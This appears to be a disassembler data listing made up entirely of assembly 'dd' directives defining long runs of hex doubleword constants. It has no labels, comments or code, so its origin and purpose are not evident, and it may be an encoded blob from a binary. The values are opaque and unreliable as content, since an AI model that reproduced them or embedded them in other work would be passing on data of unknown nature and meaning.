		dd 204552EBh, 94D0FE2Ch, 0C0AE637Fh, 53EA21DEh,	290C49EFh
		dd 775440C6h, 5F327313h, 0D4369229h, 6A624F0Bh,	10137CBAh
		dd 5A40B2B4h, 0DA3FFFC7h, 1450122Dh, 2445BA24h,	28AF4249h
		dd 0F7725893h, 65145EA4h, 40B857D2h, 4DBBF884h,	465BA524h
		dd 776D14A4h, 10CA2FA2h, 99771443h, 64670B29h, 4759291Ch
		dd 294E89A4h, 0EA4433ACh, 0AD1F7456h, 7425FB66h, 0FFBF3A79h
		dd 8464C892h, 0AD13FB95h, 66D37446h, 15350834h,	0DC198CDDh
		dd 0F9A5150Dh, 1A52167Eh, 1A219A11h, 1275090Eh,	840F16C8h
		dd 4D433510h, 727A939Ch, 35E0254Ch, 0FA81D66Ah,	2EAD6B6Fh
		dd 629ABFDAh, 97FC30D0h, 13D1EDB8h, 0AE7EB9D1h,	0B4B2B550h
		dd 6400352Ah, 0A216166Ch, 0C57471F0h, 2441676Ch, 2B0F2D24h
		dd 0CBE9301Dh, 829E78A5h, 1BC3320Ch, 51213152h,	54797210h
		dd 224CC60Fh, 0E923084h, 81351285h, 0D1836366h,	63413422h
		dd 922F0E0Dh, 0A0ED7658h, 463378AAh, 9C67626Fh,	0CDCA52AEh
		dd 22140405h, 5F5540Ah,	245A4114h, 0D2A66C81h, 76743419h
		dd 0B4CA0311h, 73653169h, 3209E297h, 527D7E8Ch,	0E50E4028h
		dd 527AA844h, 0B523905Ch, 2573AC49h, 8274799Ch,	0B1D0089h
		dd 9B14106Fh, 248D16A4h, 530DA680h, 15504F00h, 5552A2CEh
		dd 0C4BAA4B2h, 30537BBBh, 8D37E35h, 9C6D16A0h, 0A7469F17h
		dd 0E297C964h, 2D1C1587h, 0A2C48D42h, 4C323BE1h, 9AAE8E50h
		dd 854573CEh, 5A707954h, 235E2175h, 227176A5h, 0F408A217h
		dd 2873949Dh, 6B368190h, 0CCBE28BFh, 4D899129h,	8476A6Fh
		dd 6225C4A2h, 5BC4DE7Bh, 294E223Bh, 21E81078h, 0D8C9BD6Ah
		dd 86C4E2Ah, 530B70E9h,	7F602F6Eh, 90CD74D7h, 4D251566h
		dd 6B12605Bh, 476C4A92h, 0DCED2DCCh, 0F06F4C1Ch, 0C2B69709h
		dd 0DC39414Fh, 6829DD2Fh, 4F7999CEh, 1A42843Ch,	707953E2h
		dd 2F23368h, 977270DCh,	0CE49931Ah, 93354714h, 1A2F0084h
		dd 381C4E27h, 0A825348Fh, 4B5C1824h, 0A302D57h,	0A857CB9Ch
		dd 795C4EF4h, 4765A747h, 6B76A541h, 43995980h, 474BB2E9h
		dd 0CF34A380h, 0E45CF236h, 6E835FFEh, 24A2D29h,	97BF6BF9h
		dd 0F5F76968h, 6F30A570h, 0A79CBC57h, 0EE636B8Bh, 7316B74Eh
		dd 90E660D6h, 6995AFF6h, 244A797Fh, 0D291FC93h,	0FCB81AC4h
		dd 0A5D63291h, 2CCB2AECh, 0FC461969h, 116889Dh,	4BACB558h
		dd 0AFC85040h, 465E1043h, 28AD22BCh, 339A5F92h,	4E2CF197h
		dd 7AD8005h, 8706D28h, 0CD4A03E4h, 0DD759614h, 8E22F47h
		dd 28AE6B1Ah, 60142AC2h, 0E0090566h, 190C1029h,	0F8096243h
		dd 48F00418h, 22DC91E4h, 0C4CC44D4h, 0B412BC89h, 0A448AC24h
		dd 90229C91h, 89788444h, 24641270h, 9154485Ch, 4444224Ch
		dd 2889303Ch, 14241C12h, 4910C48h, 2217FC10h, 0DCE844F4h
		dd 0CC12D489h, 0B848C424h, 0A422AC91h, 89909844h, 24801288h
		dd 916C4878h, 445C2264h, 44894C54h, 30243812h, 1C912448h
		dd 0C451422h, 16F822C2h, 0E048EC04h, 0CC22D891h, 89B8C044h
		dd 24A412ACh, 918C4898h, 44782284h, 5489606Ch, 44244C12h
		dd 34913C48h, 24442C22h, 1214891Ch, 1B112E0Ch, 22D115F4h
		dd 0D044DC09h, 12BC89C4h, 48A424B4h, 228C919Ch,	68744480h
		dd 50125889h, 3C484824h, 2C223491h, 89202844h, 2E0C1218h
		dd 14F81B11h, 0E40922C1h, 89D4DC44h, 24C012CCh,	91AC48B4h
		dd 449C22A4h, 80898894h, 70247812h, 58916448h, 44445022h
		dd 1230893Ch, 48202428h, 22109118h, 0F811E108h,	45E1BA13h
		dd 0D0092CE2h, 0C012C889h, 0B048B824h, 9C22A491h, 898C9444h
		dd 247C1284h, 0E46C4874h, 91584860h, 44482250h,	30893840h
		dd 20242812h, 10911848h, 11E10822h, 0F9BA12F8h,	92CE245h
		dd 12CC89D4h, 48BC24C4h, 22A491B0h, 8894449Ch, 70127C89h
		dd 5C486424h, 40225091h, 89303844h, 241C1228h, 0B80C4814h
		dd 1140F844h, 12E889F0h, 48D024DCh, 22BC91C8h, 0A4AC44B4h
		dd 94129C89h, 7C488824h, 68227491h, 89546044h, 2440124Ch
		dd 91284834h, 4510221Ch, 0F827C20Ch, 22EC11D8h,	0D0D844E4h
		dd 0C012C889h, 0B048B824h, 0A022A891h, 89909844h, 24801288h
		dd 0E4704878h, 915C4864h, 44482250h, 2C893840h,	1C242412h
		dd 845E25Fh, 0FF822C2h,	0EC48F004h, 0DC22E491h,	89CCD444h
		dd 24B812C4h, 91A848B0h, 449822A0h, 80898490h, 6C247412h
		dd 5C916448h, 44445022h, 122C8938h, 481C2424h, 1B049110h
		dd 22D90EF4h, 0D844E009h, 12C489CCh, 48B424BCh,	22A091ACh
		dd 88904498h, 74127C89h, 5C486824h, 48225091h, 89384044h
		dd 24281230h, 91184820h, 0E1082210h, 0B20DF811h, 24E409E1h
		dd 91D448DCh, 44C022CCh, 0A889B0B8h, 9824A012h,	88919048h
		dd 70447C22h, 12588964h, 48482450h, 22389140h, 20284430h
		dd 0C121889h, 0FC4F0424h, 44F02230h, 0D889E0E8h, 0C024D012h
		dd 0B091B848h, 0A044A822h, 12908998h, 487C2484h, 226C9174h
		dd 48544460h, 38124089h, 28483024h, 10221C91h, 22C20845h
		dd 0EC040BF4h, 0DC91E448h, 0C844D022h, 12B889C0h, 48A424B0h
		dd 228C9194h, 6874447Ch, 54126089h, 44484C24h, 30223891h
		dd 891C2444h, 2E0C1214h, 0AF41011h, 0E044E822h,	12CC89D8h
		dd 48BC24C4h, 22A891B4h, 909844A0h, 80128889h, 70487824h
		dd 5C226891h, 894C5444h, 243C1244h, 91244830h, 4510221Ch
		dd 0F822C208h, 48EC0409h, 22D491E0h, 0B4BC44C8h, 0A012AC89h
		dd 94489824h, 88229091h, 89748044h, 2464126Ch, 91504858h
		dd 44382240h, 1C89242Ch, 8241412h, 0F479225Ch, 0F162D9DFh
		dd 0CC440916h, 12B889C0h, 48A824B0h, 2290919Ch,	78804488h
		dd 64126C89h, 50485824h, 38224491h, 89283044h, 24181220h
		dd 8804480Ch, 0F01107FCh, 0E044E822h, 12D089D8h, 48BC24C4h
		dd 22AC91B4h, 949C44A4h, 84128C89h, 74487C24h, 64226C91h
		dd 89585C44h, 24441250h, 912C4838h, 44182224h, 0F888040Ch
		dd 12EC8106h, 48D824E0h, 22C891D0h, 0A8B444BCh,	9812A089h
		dd 88489024h, 78228091h, 89687044h, 2450125Ch, 91444848h
		dd 4434223Ch, 1889202Ch, 112E0C12h, 2205F810h, 0DCE444F0h
		dd 0CC12D489h, 0B848C424h
		dd 0A422B091h, 89909844h, 247C1284h, 916C4874h,	44542260h
		dd 4089444Ch, 30243812h, 20912848h, 10441822h, 46848B08h
		dd 0C8E904F8h, 0E091E809h, 0D044D822h, 12C089C8h, 48A824B0h
		dd 2290919Ch, 707C4488h, 5C126889h, 4C485424h, 3C224491h
		dd 89283444h, 24141220h, 37E25F0Ch, 48D903F8h, 2FF245BCh
		dd 0E48B7C91h, 12B80959h, 48A824B0h, 229491A0h,	80884490h
		dd 6C127889h, 5C486424h, 48225091h, 89384044h, 24281230h
		dd 91144820h, 3704220Ch, 48F102F8h, 2FF245BCh, 228B7C91h
		dd 0B844BC09h, 12A889B0h, 489824A0h, 22889190h,	6870447Ch
		dd 54126089h, 44484C24h, 30223C91h, 891C2444h, 2E081214h
		dd 1F81B11h, 225EA4E9h,	0BEC817F9h, 0C0099145h,	0AC44B422h
		dd 129C89A8h, 48842490h, 226C9178h, 50584460h, 40124889h
		dd 28483824h, 14222091h, 89040C44h, 0F404C2FCh,	0DC91E848h
		dd 0C844D422h, 12B489C0h, 48A024A8h, 22889194h,	6C744480h
		dd 58126489h, 44484C24h, 38223C91h, 89243044h, 2410121Ch
		dd 0FFFC4208h, 9D48C42h, 12DC89E8h, 48C824D4h, 22B491C0h
		dd 9CA444ACh, 8C129489h, 74488024h, 60226C91h, 894C5844h
		dd 243C1244h, 91284834h, 44142220h, 0FC88040Ch,	12F481FEh
		dd 48E024ECh, 22C891D4h, 0ACB844C0h, 9C12A489h,	88489024h
		dd 70227C91h, 89606844h, 244C1254h, 91384840h, 44242230h
		dd 0C89141Ch, 0FC230412h, 8BD974FDh, 0D80959C4h, 0C424CC12h
		dd 0B491BC48h, 0A444AC22h, 1294899Ch, 4884248Ch, 2278917Ch
		dd 5C684474h, 44125089h, 34483C24h, 24222C91h, 89182044h
		dd 2E081210h, 0FCF41011h, 0E044E822h, 12D089D8h, 48C024C8h
		dd 22B091B8h, 909844A4h, 80128889h, 68487024h, 54225C91h
		dd 89404C44h, 24281234h, 9110481Ch, 0FB407F04h,	12E489F0h
		dd 48D024D8h, 22BC91C4h, 0A0A844B4h, 8C129889h,	78488024h
		dd 68227091h, 89586044h, 24481250h, 91344840h, 4420222Ch
		dd 4890C14h, 2FAFC11h, 48EC24F4h, 22DC91E4h, 0C4D044D4h
		dd 0B012B889h, 0A048A824h, 90229891h, 89808844h, 24701278h
		dd 91604868h, 444C2254h, 28893040h, 18242012h, 8911048h
		dd 0F9F88870h, 0E412F081h, 0D448DC24h, 0C422CC91h, 89ACBC44h
		dd 249412A0h, 9184488Ch, 4474227Ch, 5889646Ch, 48245012h
		dd 38914048h, 24443022h, 1214891Ch, 5C04240Ch, 81F87122h
		dd 24EC12F4h, 91D448E0h, 44C822CCh, 0AC89B4BCh,	9C24A412h
		dd 84919448h, 74447C22h, 1264896Ch, 4854245Ch, 223C914Ch
		dd 202C4434h, 10121889h, 0D05F0424h, 44F022F7h,	0D089D8E4h
		dd 0B824C012h, 0A491B048h, 90449C22h, 12808988h, 48702478h
		dd 22609168h, 4C544458h, 38124089h, 28483024h, 14222091h
		dd 88040C44h, 0E1D9F6FCh, 0E012E809h, 0C848D424h, 0B422BC91h
		dd 89A4AC44h, 2494129Ch, 9184488Ch, 4470227Ch, 50895864h
		dd 40244812h, 30913848h, 20442822h, 12108918h, 0F5FC2204h
		dd 0EC48F404h, 0D422E091h, 89C4CC44h, 24B412BCh, 91A048A8h
		dd 448C2298h, 74897C84h, 5C246C12h, 48915048h, 34443C22h
		dd 1224892Ch, 5C0C2414h, 0F4F82022h, 89E4F044h,	24C812D8h
		dd 91B048BCh, 449C22A8h, 7C898490h, 6C247412h, 5C916448h
		dd 48445422h, 1234893Ch, 48282430h, 2210911Ch, 0FC11E108h
		dd 9D1B2F3h, 48E024E8h,	22CC91D4h, 0B0BC44C4h, 0A012A889h
		dd 90489824h, 7C228491h, 89646C44h, 24501258h, 91404848h
		dd 44302238h, 10891C28h, 112E0812h, 0E1F2F81Bh,	0C8225EA4h
		dd 0D091D809h, 0BC44C822h, 12AC89B4h, 489824A0h, 22889190h
		dd 68744480h, 58126089h, 48485024h, 38224091h, 89243044h
		dd 2410121Ch, 37225C08h, 48E1F1F0h, 2FF245BCh, 0E48B7C91h
		dd 12A80959h, 489424A0h, 2280918Ch, 58644470h, 48125089h
		dd 30483C24h, 18222491h, 23C20C45h, 0C974F0F8h,	959C48Bh
		dd 24CC12D4h, 91BC48C4h, 44AC22B4h, 908998A4h, 7C248812h
		dd 6C917448h, 5C446422h, 124C8954h, 48382444h, 2220912Ch
		dd 8104418h, 0F844848Bh, 91EC08EFh, 44E022E8h, 0C089C8D8h
		dd 0B024B812h, 0A091A848h, 90449822h, 12808988h, 48702478h
		dd 22649168h, 4C544458h, 38124489h, 28483024h, 18222091h
		dd 88081044h, 5A80EEFCh, 0C1745A79h, 16696B87h,	5DDEF318h
		dd 7511560Ch, 0C93846BDh, 0BFD86310h, 863A36DEh, 6B61646Ch
		dd 623CCF21h, 4A7810D4h, 0B7EAE167h, 77950C21h,	18A066EAh
		dd 94010FBFh, 0CF633C08h, 591B3FE9h, 6FA31875h,	532D6BA8h
		dd 7D249BBFh, 6609CE18h, 977C0D34h, 547649E1h, 5D82FE08h
		dd 74088D6Eh, 10610499h, 0F774B862h, 74D621DEh,	106F28F2h
		dd 86679AFBh, 465A6E11h, 456D1033h, 97160814h, 0ED56E09Eh
		dd 66795091h, 66E87210h, 0C8576475h, 2D286476h,	6C9DD050h
		dd 18108A3Ch, 866E6508h, 485559DEh, 10926887h, 21BA6C9Ah
		dd 74676940h, 91B80845h, 119B306Fh, 4A6C75F7h, 21DC57CCh
		dd 1211B6A0h, 0B5B226D3h, 0AE195637h, 6AEAE3F3h, 6E153931h
		dd 420C4323h, 0DE17008h, 6D0A0A6Ah, 72F83208h, 1B675C85h
		dd 117E74B3h, 20AB73F0h, 7243107Ah, 58734166h, 455603F1h
		dd 817D7FDh, 68578AA8h,	0A8EE3589h, 680C43B6h, 6547087Eh
		dd 0E1F76F08h, 2D11AA43h, 10DD79F4h, 0E17A207Fh, 7D1BAB14h
		dd 6C88666Ch, 0FAF9AA67h, 0D671E09Bh, 101B34ABh, 40507267h
		dd 0AA68CF11h, 69CC0A10h, 0B4BB404Dh, 7AE282DBh, 0BF6914A7h
		dd 321E3492h, 0C540620Ch, 0CA96472h, 4265236Eh,	0F6926918h
		dd 0C55BB2Bh, 0E4FBD0ADh, 18406D3Eh, 4E564194h,	0C9C420DBh
		dd 1C92FA5Ch, 664CE52Fh, 20A3791Ch, 63D09650h, 5AB5D9ABh
		dd 0A0A52168h, 0CB25162h, 0A4448748h, 0B810D276h, 68204228h
		dd 2C29EB78h, 289A10B7h, 242319CDh, 6E115630h, 49FD6963h
		dd 1DADF248h, 0A4245938h, 1920C020h, 757A5512h,	73826C37h
		dd 0C7D99B64h, 3B6711CCh, 9ED1422Dh, 52206016h,	70341862h
		dd 0E33B8942h, 6D4CDFEEh, 0A934455Bh, 54890E20h, 727DA47Ah
		dd 0F261CDAAh, 13DE6164h, 691A7512h, 0C90808FCh, 116A6B11h
		dd 0FA106DC1h, 641050ACh, 0A5656721h, 36BC68F1h, 29463273h
		dd 2D0C766Fh, 0DCDDE0F8h, 0B0340CA9h, 0F01612C6h, 0AB757A72h
		dd 79482160h, 908D10B4h, 1F7010A9h, 1214296Ch, 45F7A865h
		dd 829A008h, 0F58AE6EBh, 6E9BCF80h, 770822E5h, 14729785h
		dd 6B3C7408h, 5CBD08D5h, 7003916Fh, 0D1E66C75h,	20F8A1F1h
		dd 0C783DE3Bh, 0E4114764h, 0A1D71068h, 5F482F08h, 0CA17075h
		dd 69762466h, 0A490A8ACh, 0A66EFDE3h, 10EDF481h, 0ABD1506Bh
		dd 0A9685178h, 1A2C8FC6h, 35F8FEA2h, 2857E911h,	59A30864h
		dd 519CE446h, 48531F2h,	5A05857Ch, 0E2D5BCDBh, 6824B194h
		dd 0DA786C36h, 0C88F2296h, 0EF0CAA9Ch, 56115746h, 106AA86Dh
		dd 61106C29h, 0CD27F09Fh, 19A6311h, 236E70D1h, 0C4612408h
		dd 0DF7610CCh, 0ECC13528h, 10AA7830h, 617E8A89h, 971C7A14h
		dd 0CB72E0E4h, 0C08B6D11h, 0FA11A80Dh, 4C6FAA69h, 9DF6938h
		dd 6698C87Ah, 83625310h, 0EA117429h, 0C53B574h,	0ECB70C22h
		dd 0A65F94Ch, 6F0886A0h, 3633096Fh, 1EA91054h, 7AC45976h
		dd 3836D934h, 66F5F318h, 0D8088DC6h, 85BB004h, 9E114D39h
		dd 72E12045h, 0C5D24054h
		dd 7520AA69h, 0DD767A13h, 0B3319019h, 0DC0CA2C5h, 220C2B49h
		dd 3B81AA08h, 7096E720h, 0F720842Fh, 2DD45725h,	5213BA4Fh
		dd 2555106Eh, 8283C6EEh, 286BA90Ch, 41AF1850h, 8437208h
		dd 11276D66h, 64463462h, 7DB990ACh, 0F96E11B7h,	0B8AD6F4Ch
		dd 5C280DE2h, 1C08A1BFh, 0D025236Dh, 1179668Fh,	6956E74Dh
		dd 107034A0h, 864E60Ah,	0E7831428h, 149273EAh, 0AC3FE3FEh
		dd 10E8C368h, 78686315h, 41ED0CD1h, 46117E08h, 7A691010h
		dd 64324FD2h, 18996C74h, 4A46572h, 1CC71008h, 74F9A05Bh
		dd 1936C4A5h, 6B08896Eh, 750970E9h, 7208022Bh, 10DFAC4Ch
		dd 0ACC4C0F5h, 116D0C4Bh, 0C4D76BCh, 109AE428h,	1061887Dh
		dd 814639Ah, 0AD26EB64h, 0F1AC7216h, 0BAAA18DAh, 0A258BC42h
		dd 10B41B41h, 106C590Dh, 6B345361h, 654C5845h, 4679C5C2h
		dd 20892E08h, 0DBB82C69h, 16DA4910h, 0BDD8116Bh, 1536624Ah
		dd 0F42FAA18h, 35143445h, 2461840Ch, 0E618A14Ch, 9FD70893h
		dd 0CEF3DF90h, 0B5114F74h, 4421A6D3h, 8A27426h,	6BE294D0h
		dd 64EC3311h, 376B4010h, 8C537086h, 3319D580h, 0BE206429h
		dd 0C5DFF7Fh, 24B1843Fh, 0D4102408h, 41DBA32Dh,	48872A0Ch
		dd 0D33B08FAh, 596E241Ch, 3C087915h, 64F8FC6Bh,	69F614A4h
		dd 7FC740ABh, 40CB223Fh, 26739366h, 6D9A7810h, 0D54CF310h
		dd 0D3904859h, 1CFABC27h, 0E809683Ch, 0F4276113h, 90CD6BC5h
		dd 0A4FF10BEh, 0A462FC24h, 4048FF10h, 64752663h, 4104D7Dh
		dd 96C4A589h, 8A126810h, 3C72D30Dh, 150CAFE2h, 75167C24h
		dd 5C766C79h, 2AC6DF19h, 0B46AA08h, 395A0E08h, 205D67A7h
		dd 8426BA44h, 4E88AA10h, 0FC19D34Ch, 20A67D2Ch,	114D6A96h
		dd 341C0935h, 0C0B7F361h, 450C1A9Fh, 44141466h,	1E6F7C42h
		dd 6F3C6F2Ah, 0B2C27969h, 0E1770804h, 1177C778h, 0A50C8882h
		dd 0F743225h, 9A087410h, 620829B6h, 72082584h, 804F289h
		dd 6C701832h, 30E3D088h, 1F8E2A9Eh, 68522D7Ah, 374EDEBBh
		dd 0A11B8921h, 786C1029h, 884ECA0h, 8416668h, 54646412h
		dd 0D7746192h, 523714CCh, 734E4679h, 11A7DB89h,	0DC55090Fh
		dd 32641899h, 33199A6Fh, 6F091208h, 10903679h, 909776Ah
		dd 670C5439h, 10DA98A6h, 10610D80h, 18490D54h, 0DEEBEE62h
		dd 6C28A518h, 0AA6C2108h, 8D4D145h, 841E35Ch, 8A799112h
		dd 6F928908h, 26DF24FCh, 0AE1AEF7Ch, 96B4985h, 27A67008h
		dd 669F116Fh, 0A110D086h, 0C920AA77h, 66966C75h, 0D927FC43h
		dd 0BC166DF8h, 75716413h, 18DAE1FCh, 2D6E2B48h,	0A50C544Ch
		dd 5AA5301Eh, 0FC11DD20h, 1169115Dh, 1370B70Dh,	64DC6708h
		dd 2849AE84h, 88B8B6Ah,	2B36F0CEh, 6B86CA18h, 0DE62912Ch
		dd 5C69A424h, 0B6B529DCh, 9DE54210h, 9424506Bh,	3CF1F3A2h
		dd 0FC11DBD7h, 0E14A6AF2h, 92F14584h, 7D502D99h, 781012D1h
		dd 184DDCB1h, 8437528h,	8DB37A69h, 76651813h, 84164A8h
		dd 6CA884BDh, 0AA70FC08h, 0A6AAD0BFh, 0CD10D26Ch, 0C10B481h
		dd 411E445Bh, 806EF7Ah,	0A9797B2Ch, 18556B08h, 38565994h
		dd 88210BBh, 369B12D2h,	0FAF5190Fh, 0E9FEC68Fh,	85093440h
		dd 9DB8C912h, 6BC46110h, 68267465h, 68D01084h, 456795D4h
		dd 34D0E210h, 66C365ABh, 54A873CAh, 8324DC9h, 58BB6208h
		dd 75721930h, 34659B7Ah, 95B46519h, 149A99FBh, 11295A0Ch
		dd 828CC4Ah, 411CDD0h, 94105DB9h, 0DE94186Fh, 106A3949h
		dd 107915DCh, 10524149h, 6303245Bh, 0A3DD614Ch,	30C45C6h
		dd 54786482h, 0F0B2D2EFh, 830B7462h, 18C9ACCCh,	2AC14276h
		dd 106D7B08h, 8B850CA5h, 0B11C246Fh, 1552189h, 34666508h
		dd 14AA648Ch, 0BFA80F62h, 4372663Ch, 196D9C9Eh,	0A573DAF7h
		dd 9FC76D08h, 0D470441Bh, 0D0527118h, 505B37D5h, 0DCDE0CF3h
		dd 636F5D7Ah, 729446A4h, 5DEFD070h, 56F173FBh, 0E4845A0Ch
		dd 0E20A10D2h, 0BEA01075h, 72526F71h, 42294C28h, 44586774h
		dd 446B9Dh, 4F1E48A2h, 6F242C76h, 1E29C413h, 8D741312h
		dd 0DF11BEC0h, 9E199236h, 0A9BB2F90h, 0C870183Bh, 702D9E69h
		dd 0C5388B03h, 0D210E666h, 9F2CF9D6h, 276808AAh, 164F8CC4h
		dd 0B621FC76h, 3C24A142h, 0AB7A739Eh, 0C332550h, 16651123h
		dd 0A418C964h, 4526C160h, 29F71D4Fh, 6F897E99h,	7B95BC92h
		dd 314EC6A9h, 0D9C93B11h, 5E78C43Eh, 3442255Eh,	9B4989DDh
		dd 90186B28h, 18D32C14h, 6C3E45B8h, 0CD36638h, 379FE952h
		dd 96746F3h, 0A2E28582h, 26660825h, 755210C4h, 73487D50h
		dd 0EF10DBADh, 673461E4h, 16E38AA5h, 89509764h,	78CB1A13h
		dd 25A91141h, 5E08147Dh, 25701630h, 6B88B23Eh, 112C2C18h
		dd 2257BC4Dh, 1669689Bh, 0F41B2D0Ch, 136C102Fh,	94114466h
		dd 0C211D26Eh, 10896988h, 1026E833h, 104D1A64h,	1EEAE004h
		dd 4D11F5AEh, 6EA66DFh,	7EB11964h, 326811B2h, 6D5D0278h
		dd 0A8199A90h, 74A08A8h, 14869A20h, 16D04F90h, 6DCD5308h
		dd 1202310h, 2E682843h,	3960910Ch, 0F928A476h, 838102Ah
		dd 9EA0DB41h, 531484CFh, 98415868h, 57BE7504h, 43C5F9CCh
		dd 67F44CCCh, 25D866D8h, 0C26C2749h, 520088Dh, 32E4B2FFh
		dd 6B7A9847h, 3C4BA583h, 0AD636B69h, 0C10D934h,	868CA14h
		dd 25F4624Bh, 0CC646508h, 27EE8184h, 0A4658D0Ch, 9ECF3962h
		dd 1C72754Ah, 786055BCh, 0A90C450Eh, 3234183Eh,	0D9596425h
		dd 8456826h, 0A51410EFh, 6E591443h, 0AA08A37Eh,	0D0B9CE6Bh
		dd 0D66F9818h, 4E50119Bh, 6C2A671Fh, 0A8BE1475h, 0DEA07215h
		dd 0E5826ED6h, 0A8088979h, 4F260822h, 85D68B4h,	263C98A9h
		dd 106D126Bh, 5654CCA8h, 487CC473h, 10D9CD49h, 4C3B2C67h
		dd 410CD0FBh, 463012C0h, 88AC0664h, 2899E2F9h, 24292F64h
		dd 0DE5118AFh, 0FABE2021h, 93082CD0h, 792AE0F9h, 2B625D14h
		dd 610B926Fh, 6F09FA0Fh, 0C82DCC6h, 10DA975Ah, 0ED854399h
		dd 80542856h, 0F8119AEFh, 284DFBE6h, 59720E99h,	4D0C4D6Fh
		dd 54D97B30h, 75721084h, 4E8C8A62h, 8E91C5Eh, 0D952A8A4h
		dd 0B4C02B56h, 2D50FE18h, 89E54B08h, 5F2A4019h,	0AC0CA913h
		dd 87314DCh, 0CB586889h, 450C6B56h, 0E627551Ch,	0AA1969A0h
		dd 5AE968CFh, 1456F374h, 0EE5C838Fh, 0F410834Fh, 0B865DCD9h
		dd 196DD367h, 68513242h, 2D099211h, 23AF7948h, 8E0825F4h
		dd 2685A508h, 1E081779h, 7708A841h, 11D3D864h, 78A47963h
		dd 496732F1h, 0B4FD964Ch, 404DF579h, 72E9C549h,	0DD0C92F6h
		dd 6E55EEC6h, 7D4350Ch,	4F185A81h, 766BBDB3h, 8240CABh
		dd 782E6F4Ch, 637411B1h, 205ED9FEh, 22ABBC14h, 6D419614h
		dd 7A836910h, 0DBF411DDh, 7ADE101Dh, 0BF776F08h, 11F826DAh
		dd 28A973EEh, 9E8C6862h, 85A86F1Bh, 0A877084Bh,	1520F6B8h
		dd 6B7618CBh, 0B011560Dh, 0ECD01069h, 6854E89Ah, 74B4630Ch
		dd 3A5F6944h, 4C827AAEh, 7C987611h, 80F8682h, 4B4F3055h
		dd 0E4F66E24h, 0FB74186Ch, 8576BE9h, 11656C92h,	6FD3C670h
		dd 0D1D00C22h, 1C0AD30Ch, 3AB52065h, 8147FB1h, 0F3511834h
		dd 61527818h, 33144D10h, 486D1173h, 742EE809h, 0CCA825D2h
		dd 8E08480Ch, 0DA106D65h, 0DA29C45Eh, 987AFC10h, 0A268A2F1h
		dd 50800884h, 452D276Ch, 8C38586Eh, 0A96565E0h,	8D081664h
		dd 1810A6C8h, 711443A4h, 0D33E9F1Ch, 25275E14h,	6888C389h
		dd 25DF1187h, 2C114F2Dh
		dd 69109AFAh, 204574DCh, 0AC24D496h, 0BCA59D08h, 64084873h
		dd 6D6024C9h, 186B8CF3h, 10C99C66h, 1A749B66h, 5C756210h
		dd 4B18480Ch, 1CDA77F4h, 4E989BDCh, 0B2928D18h,	0AB720E10h
		dd 7E452A10h, 2AA258BCh, 11D6DB73h, 83CA1BFEh, 0A18D104Eh
		dd 62CD11BBh, 0C17C0841h, 20091045h, 1C32E225h,	80D61069h
		dd 0BC60106Dh, 98625D79h, 4C7C2F9Fh, 242A10CDh,	0B6081AC3h
		dd 1411C2E2h, 3092C66Dh, 0A183D588h, 6E688830h,	0CBF446C9h
		dd 799B6210h, 0A2BFC4C5h, 0D69678ECh, 0D2087414h, 5A62F149h
		dd 8C7DF997h, 8F0B109Ah, 4420043h, 4B2A690Ch, 0C1C45FAh
		dd 11B5E909h, 7C98E694h, 0AC9C3498h, 6F187A53h,	11F9DC73h
		dd 0A65EC770h, 20BEF02Dh, 4D8873A4h, 96F14511h,	6D4E10C1h
		dd 18118AC4h, 87E68B8h,	58BCDE48h, 7D8046A7h, 4AEC7556h
		dd 11A1BF8Dh, 8497A038h, 0C49F8A48h, 8710D391h,	3C20FA11h
		dd 69006B24h, 52681C25h, 968A130h, 0F610A8B0h, 81056E5h
		dd 63961490h, 36AE11B5h, 889D1124h, 0EAEBA0FDh,	5541D03Fh
		dd 83050C73h, 86105626h, 8D11D293h, 0BE11A065h,	0CC8E19Ch
		dd 62A51C21h, 0C9BCCC16h, 26AD6219h, 186F5676h,	45A178F5h
		dd 711F6880h, 6F216C52h, 6E22B619h, 0EDB8B4Ah, 86A9E83h
		dd 11D4FD92h, 0E278414Bh, 9809814Ah, 18D7E0C6h,	84F9F84h
		dd 0CD73E868h, 51C1D56h, 0DF99A80Ch, 3F77A43Bh,	0AF6D114Dh
		dd 0BE7C2043h, 0E9C1B760h, 10B416F1h, 218D2AA5h, 0E7097961h
		dd 8822FD6h, 790389D5h,	0B518B714h, 0A5C5296Ah,	2851C218h
		dd 67C41C08h, 825B9C4h,	6808CA51h, 0B4200897h, 10DA8086h
		dd 49C402DDh, 0F1484C79h, 0C8F29645h, 0C6F5189Ah, 9A10D82Eh
		dd 794C7665h, 0E419DA85h, 162AF128h, 10B6263Bh,	780933FFh
		dd 50496759h, 38AA691Ch, 0F76BA5A7h, 0BC0CFA77h, 8456844Ah
		dd 480C45A6h, 2437AA79h, 4F747583h, 139FF145h, 0A1EC720Ch
		dd 0CEAA223h, 20A47071h, 241171BDh, 8A0CA21Fh, 344F79B1h
		dd 426B119h, 0AD1789ACh, 0C7641B19h, 4509FBFEh,	0ECF220D8h
		dd 4869F1FCh, 2D086C68h, 1026EC13h, 106C7472h, 0B7589170h
		dd 44159F10h, 260FC44Eh, 82CA11EBh, 74941079h, 6DC4D718h
		dd 0E86D184Eh, 8D794973h, 6E6B11B7h, 0E1BAB574h, 4A340808h
		dd 27182150h, 2AF1C446h, 15A99B5Ch, 68B65A3Eh, 0CC6CB778h
		dd 482C63F1h, 62721A60h, 2003D419h, 7510CB25h, 10326351h
		dd 6A84B273h, 20015638h, 4E009A08h, 18A52664h, 6E0075F7h
		dd 0C24E384h, 10693DE2h, 0A9684885h, 0C7189B2Ch, 82C872C6h
		dd 532DF008h, 8D5A2873h, 6910935Dh, 10626AA2h, 18927466h
		dd 2413E79Ah, 85EAC4C5h, 5036FE87h, 9A794D18h, 4C330845h
		dd 6B771062h, 0CD81092h, 301B9082h, 64DBF2CCh, 6E57411h
		dd 5BF2140Dh, 0A00CA164h, 678F8108h, 7414B2F6h,	9D0822E8h
		dd 37760385h, 86F1C95Ch, 0C588553Ch, 77304565h,	0E1A78820h
		dd 785573F6h, 116BF5A3h, 10C1AB8Bh, 550596Ah, 943035ECh
		dd 6A69F755h, 453AE019h, 0BC81F9E2h, 688FE44Ch,	0C1AECBAh
		dd 8C429433h, 47086110h, 66146F75h, 818110B4h, 65676F74h
		dd 895FD3CEh, 65AA08EAh, 27910828h, 57E5CCB3h, 0D6BAC9D2h
		dd 2CFD0CAAh, 187395AFh, 515EA959h, 0A6920C5Eh,	0ED186860h
		dd 6FF03B20h, 1020DCB4h, 4D7967A9h, 875C2A08h, 8A10C29h
		dd 6C6B6125h, 186D1C26h, 69222696h, 0D039FA19h,	67380838h
		dd 611010D2h, 90FD9773h, 28C4109Ah, 0C05889Fh, 546F1468h
		dd 5836D208h, 0BA33EF10h, 5720116Dh, 7AFC8BF7h,	138C2F2Fh
